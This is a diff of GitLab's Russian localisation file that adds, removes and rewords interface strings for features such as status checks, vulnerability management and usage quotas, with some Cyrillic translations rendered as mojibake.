msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32785,9 +33366,6 @@ msgstr "ИÑточник (ветка или тег)"
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32806,6 +33384,33 @@ msgstr "ИÑходный текÑÑ‚ недоÑтупен"
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr "Sourcegraph"
@@ -32959,9 +33564,6 @@ msgstr ""
msgid "Start a review"
msgstr "Ðачать рецензию"
-msgid "Start and due date"
-msgstr "Дата начала и завершениÑ"
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "Ðачните Ñ Ð²Ñ‹Ð±Ð¾Ñ€Ð° группы, чтобы проÑмотреть ÑпиÑок отноÑÑщихÑÑ Ðº ней запроÑов на ÑлиÑние, который вы затем Ñможете отфильтровать по проектам, меткам, Ñтапам и авторам."
@@ -33106,6 +33708,9 @@ msgstr "СтатуÑ:"
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -33127,7 +33732,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -33136,6 +33741,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -33157,6 +33765,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -33172,6 +33786,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -34161,10 +34778,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34425,8 +35042,8 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
-msgstr "URL, иÑпользуемый Ð´Ð»Ñ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ðº Elasticsearch. ИÑпользуйте ÑпиÑок разделÑемых запÑтыми адреÑов Ð´Ð»Ñ Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ¸ клаÑтеризации (напр., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
+msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Сертификат X509, иÑпользуемый в том Ñлучае, когда Ð´Ð»Ñ ÑвÑзи Ñ Ð²Ð½ÐµÑˆÐ½ÐµÐ¹ Ñлужбой авторизации требуетÑÑ Ð²Ð·Ð°Ð¸Ð¼Ð½Ð°Ñ Ð¿Ñ€Ð¾Ð²ÐµÑ€ÐºÐ° подлинноÑти TLS. ЕÑли оÑтавить пуÑтым, Ñертификат Ñервера вÑе еще будет проверÑÑ‚ÑŒÑÑ Ð¿Ñ€Ð¸ доÑтупе через HTTPS."
@@ -34461,7 +35078,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "Соединение будет отключено через %{timeout}. Ð”Ð»Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ð¸ÐµÐ², требующих больше времени, иÑпользуйте комбинацию clone/push."
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34669,9 +35289,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34804,9 +35421,6 @@ msgstr "Сниппет виден только учаÑтникам проект
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34861,6 +35475,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34957,9 +35574,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34972,9 +35586,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr "Ðа диÑке уже еÑÑ‚ÑŒ репозиторий Ñ Ñ‚Ð°ÐºÐ¸Ð¼ именем"
@@ -35350,6 +35961,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "Данный коммит ÑвлÑетÑÑ Ñ‡Ð°Ñтью запроÑа на ÑлиÑние %{link_to_merge_request}. Комментарии, Ñозданные здеÑÑŒ, будут Ñозданы в контекÑте Ñтого запроÑа."
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -35368,12 +35982,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35422,6 +36030,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35476,12 +36090,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
-msgstr "Это журнал безопаÑноÑти важных Ñобытий, ÑвÑзанных Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑью."
+msgid "This is a security log of authentication events involving your account."
+msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35491,6 +36108,9 @@ msgstr ""
msgid "This is your current session"
msgstr "Это ваша Ñ‚ÐµÐºÑƒÑ‰Ð°Ñ ÑеÑÑиÑ"
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35626,9 +36246,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние заблокирован."
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35671,6 +36288,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr "Ð’ Ñтом проекте нет активных токенов доÑтупа."
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35770,7 +36390,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -36318,6 +36938,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -36342,6 +36965,9 @@ msgstr "Чтобы иÑпользовать Gitpod, Ñначала нужно в
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36447,11 +37073,11 @@ msgstr "Завтра"
msgid "Too many changes to show."
msgstr "Слишком много изменений Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ."
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
-msgstr "Слишком много проÑтранÑтв имен включено. Ð”Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð¼Ð¸ вам потребуетÑÑ ÐºÐ¾Ð½Ñоль или API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
+msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
-msgstr "Слишком много проектов включено. Ð”Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð¼Ð¸ вам потребуетÑÑ ÐºÐ¾Ð½Ñоль или API."
+msgid "Too many projects enabled. Manage them through the console or the API."
+msgstr ""
msgid "TopNav|Go back"
msgstr ""
@@ -36471,9 +37097,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr "Темы (необÑзательно)"
-
msgid "Total"
msgstr "Ð’Ñего"
@@ -36534,6 +37157,9 @@ msgstr "ОтÑлеживайте Ð²Ñ€ÐµÐ¼Ñ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ быÑтрых дÐ
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36706,7 +37332,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36763,6 +37389,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36961,9 +37593,6 @@ msgstr "Ðе удаетÑÑ Ð·Ð°Ð³Ñ€ÑƒÐ·Ð¸Ñ‚ÑŒ отличиÑ. %{button_try_agai
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr "Ðевозможно Ñохранить итерацию. ПожалуйÑта, попробуйте Ñнова."
@@ -37069,6 +37698,9 @@ msgstr "ÐеизвеÑтный формат"
msgid "Unknown response text"
msgstr "ÐеизвеÑтный текÑÑ‚ ответа"
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -37153,9 +37785,6 @@ msgstr "ОтменÑет подпиÑку от на %{quick_action_target}."
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr "До"
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -37264,6 +37893,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -37306,6 +37938,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr "Загрузить карту объектов"
@@ -37315,9 +37950,6 @@ msgstr "кликните Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸"
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr "Загрузки"
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -37330,9 +37962,6 @@ msgstr ""
msgid "Upvotes"
msgstr "ГолоÑа \"за\""
-msgid "Usage"
-msgstr "Ð¡ÐµÐ¹Ñ‡Ð°Ñ Ð¸ÑпользуетÑÑ"
-
msgid "Usage Trends"
msgstr ""
@@ -37387,12 +38016,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr "Хранилище LFS"
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -37402,9 +38025,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "Пакеты"
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -37417,9 +38046,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr "Репозиторий"
@@ -37453,18 +38079,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr "Ð’ Ñтом проÑтранÑтве имён нет проектов, которые иÑпользуют общие Runner'Ñ‹"
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37510,9 +38124,6 @@ msgstr "Wiki"
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr "Вики"
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37705,9 +38316,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr "ИÑпользуетÑÑ Ð´Ð»Ñ Ð½Ð°Ñтройки вашего провайдера идентификации"
@@ -38011,9 +38619,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr "Ð˜Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (необÑзательно)"
@@ -38239,6 +38844,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr "Подтверждена"
@@ -38263,6 +38880,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -38364,6 +38984,9 @@ msgstr ""
msgid "View merge request"
msgstr "ПроÑмотреть Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38476,6 +39099,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38488,9 +39114,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr "СерьёзноÑÑ‚ÑŒ"
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38506,6 +39129,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38515,7 +39141,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38527,6 +39156,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38551,9 +39183,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38566,10 +39204,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38743,7 +39381,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -39049,6 +39687,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr "Когда Runner закреплён, он не может быть назначен другим проектам"
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -39061,7 +39702,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -39236,6 +39877,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39245,7 +39892,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39359,6 +40006,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39632,15 +40282,12 @@ msgstr "Теперь вы можете отправить Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° Ñл
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
-msgid "You can only merge once this merge request is approved."
-msgstr "Ð’Ñ‹ можете выполнить ÑлиÑние только поÑле того, как Ñтот Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние будет утвержден."
-
msgid "You can only transfer the project to namespaces you manage."
msgstr "Ð’Ñ‹ можете перенеÑти проект только в те проÑтранÑтва имен, которыми управлÑете."
@@ -39674,6 +40321,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39704,12 +40354,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39761,6 +40417,13 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr "У Ð²Ð°Ñ Ð½ÐµÑ‚ доÑтупа к аналитике потока ценноÑти данной группы"
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39809,6 +40472,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39944,9 +40610,6 @@ msgstr "Ð’Ñ‹ будете получать ÑƒÐ²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ Ð
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -40031,7 +40694,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -40097,6 +40760,12 @@ msgstr "Ваша ÑƒÑ‡Ñ‘Ñ‚Ð½Ð°Ñ Ð·Ð°Ð¿Ð¸ÑÑŒ была деактивирован
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -40289,6 +40958,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -40305,15 +40977,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40323,6 +40989,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40390,9 +41059,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr "добавлено %{created_at_timeago}"
-
msgid "added %{emails}"
msgstr ""
@@ -40490,6 +41156,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40523,9 +41192,6 @@ msgstr "невозможно включить, еÑли вÑе домены не
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr "не может быть изменено"
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40698,6 +41364,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40707,6 +41376,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr "Ðайдено %{issuesWithCount}"
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr "РаÑÑледуйте Ñту уÑзвимоÑÑ‚ÑŒ, вынеÑÑ Ð½Ð° обÑуждение"
@@ -40732,6 +41404,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40768,6 +41443,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -41148,21 +41826,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr "в группе %{link_to_group}"
-msgid "in project"
-msgstr ""
